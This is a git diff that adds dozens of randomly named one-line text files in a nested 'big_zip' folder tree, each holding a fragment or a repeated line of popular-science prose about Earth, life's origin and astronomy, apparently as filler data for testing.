+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ejkajamekhdn.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_grkjwosa.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_grkjwosa.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_grkjwosa.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_hfgszimqtypqilukfehqtlh.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_hfgszimqtypqilukfehqtlh.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_hfgszimqtypqilukfehqtlh.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_kqfwzufpfcwuwswecfmaes.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_kqfwzufpfcwuwswecfmaes.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_kqfwzufpfcwuwswecfmaes.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_lcaydjagtrrclaweajea.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_lcaydjagtrrclaweajea.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_lcaydjagtrrclaweajea.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_phzbbftgrqtm.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_phzbbftgrqtm.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_phzbbftgrqtm.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_pjiwbhkpmndajwvuakzfd.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_pjiwbhkpmndajwvuakzfd.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_pjiwbhkpmndajwvuakzfd.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_qmrfgimbyqqgpmpowolt.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_qmrfgimbyqqgpmpowolt.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_qmrfgimbyqqgpmpowolt.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_qxdpwkvnnbryigxqjf.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_qxdpwkvnnbryigxqjf.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_qxdpwkvnnbryigxqjf.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_rbguxcsuhybmjyxdyihe.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_rbguxcsuhybmjyxdyihe.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_rbguxcsuhybmjyxdyihe.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_svyrcifiizam.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_svyrcifiizam.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_svyrcifiizam.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ttoptwsbu.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ttoptwsbu.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ttoptwsbu.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ttzpsjhvmkaesaorj.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ttzpsjhvmkaesaorj.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ttzpsjhvmkaesaorj.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ucsgumxcwzjxsi.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ucsgumxcwzjxsi.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ucsgumxcwzjxsi.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ulgwrfonvmitm.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ulgwrfonvmitm.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ulgwrfonvmitm.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_uyydomzttgdvnykgrjzvu.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_uyydomzttgdvnykgrjzvu.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_uyydomzttgdvnykgrjzvu.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_virajsntifaigl.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_virajsntifaigl.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_virajsntifaigl.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_vvcnikcvoddjijxwvedgzw.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_vvcnikcvoddjijxwvedgzw.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_vvcnikcvoddjijxwvedgzw.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_xmlrmbjvbletmrgtibilaa.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_xmlrmbjvbletmrgtibilaa.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_xmlrmbjvbletmrgtibilaa.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_yxkkpacmaqmwppqzid.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_yxkkpacmaqmwppqzid.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_yxkkpacmaqmwppqzid.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_znfyqfpzosqhcdapgk.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_znfyqfpzosqhcdapgk.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_znfyqfpzosqhcdapgk.txt
@@ -0,0 +1 @@
+Nothing in such experiments is unique to the Earth. The initial gases, and the energy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/juewsxwfbgicbtixelqomj.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/juewsxwfbgicbtixelqomj.txt
new file mode 100644
index 0000000..4333640
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/juewsxwfbgicbtixelqomj.txt
@@ -0,0 +1 @@
+among an immensity of others. It may be significant only for us. The Earth is our home, our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/kqjlvhar.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/kqjlvhar.txt
new file mode 100644
index 0000000..61d7181
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/kqjlvhar.txt
@@ -0,0 +1 @@
+twenty times it has gone around the Milky Way at 200 kilometers per second (roughly half
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/lgfunlfqufzthpchj.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/lgfunlfqufzthpchj.txt
new file mode 100644
index 0000000..adf5e78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/lgfunlfqufzthpchj.txt
@@ -0,0 +1 @@
+We warn them of such foods.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/mccckhjuuddwcwvybiic.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/mccckhjuuddwcwvybiic.txt
new file mode 100644
index 0000000..663f785
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/mccckhjuuddwcwvybiic.txt
@@ -0,0 +1 @@
+of glowing nebulosity, residues still gravitationally attached of their amniotic gas. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/mkgeejkb.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/mkgeejkb.txt
new file mode 100644
index 0000000..97bf4fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/mkgeejkb.txt
@@ -0,0 +1 @@
+But others countered that if comets were the smoke of sin, the skies would be continually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qevmvayszdnszwdws.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qevmvayszdnszwdws.txt
new file mode 100644
index 0000000..23e0ecd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qevmvayszdnszwdws.txt
@@ -0,0 +1 @@
+around June 21. I imagine the proud Anasazi people, who described themselves as ‘The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qewtqmyfbpuu.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qewtqmyfbpuu.txt
new file mode 100644
index 0000000..4dcbf6e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qewtqmyfbpuu.txt
@@ -0,0 +1 @@
+Samos, who argued that the Earth is one of the planets, which like them orbits the Sun, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qfqxnweb.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qfqxnweb.txt
new file mode 100644
index 0000000..1b631a8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/qfqxnweb.txt
@@ -0,0 +1 @@
+summoned to individual examinations on the soundness of their private religious
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/rjvxeybmykotuvqewyrfkrlr.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/rjvxeybmykotuvqewyrfkrlr.txt
new file mode 100644
index 0000000..97823c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/rjvxeybmykotuvqewyrfkrlr.txt
@@ -0,0 +1 @@
+Productions of the Worlds in the Planets. Composed shortly before Huygens died in 1690,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/silnfsthgrdaklilyhfy.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/silnfsthgrdaklilyhfy.txt
new file mode 100644
index 0000000..5f91716
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/silnfsthgrdaklilyhfy.txt
@@ -0,0 +1 @@
+[than mathematics]. It interprets [all phenomena] by the same language, as if to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/uqgqwwelxkiqawblmysdxpf.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/uqgqwwelxkiqawblmysdxpf.txt
new file mode 100644
index 0000000..2e41249
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/uqgqwwelxkiqawblmysdxpf.txt
@@ -0,0 +1 @@
+Harold Morowitz has calculated what it would cost to put together the correct
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/wkpdacoprwmjrt.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/wkpdacoprwmjrt.txt
new file mode 100644
index 0000000..f344733
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/wkpdacoprwmjrt.txt
@@ -0,0 +1 @@
+military weapons procurement are 30 to 50 percent higher than in an equally technological
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/zemlhknvfkjabnovwcomioyv.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/zemlhknvfkjabnovwcomioyv.txt
new file mode 100644
index 0000000..9a5d7f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/zemlhknvfkjabnovwcomioyv.txt
@@ -0,0 +1 @@
+it is called a pulsar. Blinking and ticking like a cosmic metronome, pulsars keep far better
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/aishqzzzkrq.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/aishqzzzkrq.txt
new file mode 100644
index 0000000..41af64e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/aishqzzzkrq.txt
@@ -0,0 +1 @@
+extinct.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/cdcaceloaulqluktm.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/cdcaceloaulqluktm.txt
new file mode 100644
index 0000000..8e9887d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/cdcaceloaulqluktm.txt
@@ -0,0 +1 @@
+the whale.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/cwddfysggcvmt.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/cwddfysggcvmt.txt
new file mode 100644
index 0000000..906892f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/cwddfysggcvmt.txt
@@ -0,0 +1 @@
+admonition that is also vague but also different. These ‘predictions’ are not predictions;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/emsyqkvvmqirfnhjgeyd.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/emsyqkvvmqirfnhjgeyd.txt
new file mode 100644
index 0000000..9470da6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/emsyqkvvmqirfnhjgeyd.txt
@@ -0,0 +1 @@
+known in our present universe. The fate of the universe in either cosmology may seem a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_abogprsfycbctrrfopqg.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_abogprsfycbctrrfopqg.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_abogprsfycbctrrfopqg.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_buxsejbtcowwndfwqwn.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_buxsejbtcowwndfwqwn.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_buxsejbtcowwndfwqwn.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_dhnglzfiijtprhkeatatem.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_dhnglzfiijtprhkeatatem.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_dhnglzfiijtprhkeatatem.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_dobbcrfnetugcbrkvvnjuv.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_dobbcrfnetugcbrkvvnjuv.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_dobbcrfnetugcbrkvvnjuv.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_dvnjekbchaaarvhpvpsiz.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_dvnjekbchaaarvhpvpsiz.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_dvnjekbchaaarvhpvpsiz.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_eitpzoxwjlkwpcfcpevhjs.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_eitpzoxwjlkwpcfcpevhjs.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_eitpzoxwjlkwpcfcpevhjs.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_fskipjyundnbvqbjq.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_fskipjyundnbvqbjq.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_fskipjyundnbvqbjq.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_jgdlaivnusgmgauwrbks.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_jgdlaivnusgmgauwrbks.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_jgdlaivnusgmgauwrbks.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_kyjbdmebfluwxbucke.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_kyjbdmebfluwxbucke.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_kyjbdmebfluwxbucke.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_mykspkufxktaulftzy.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_mykspkufxktaulftzy.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_mykspkufxktaulftzy.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_onyfnffv.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_onyfnffv.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_onyfnffv.txt
@@ -0,0 +1 @@
+origin of life happened soon after, perhaps around 4.0 billion years ago, in the ponds andoceans of the primitive Earth. The first living things were not anything so complex as a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tsqkkiiovy/file_qgiyyzbxdgfshwfd.txt b/big_zip/big-zip-files/folder_tsqkkiiovy/file_qgiyyzbxdgfshwfd.txt
new file mode 100644
index 0000000..3e5a855
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tsqkkiiovy/file_qgiyyzbxdgfshwfd.txt
@@ -0,0 +1 @@
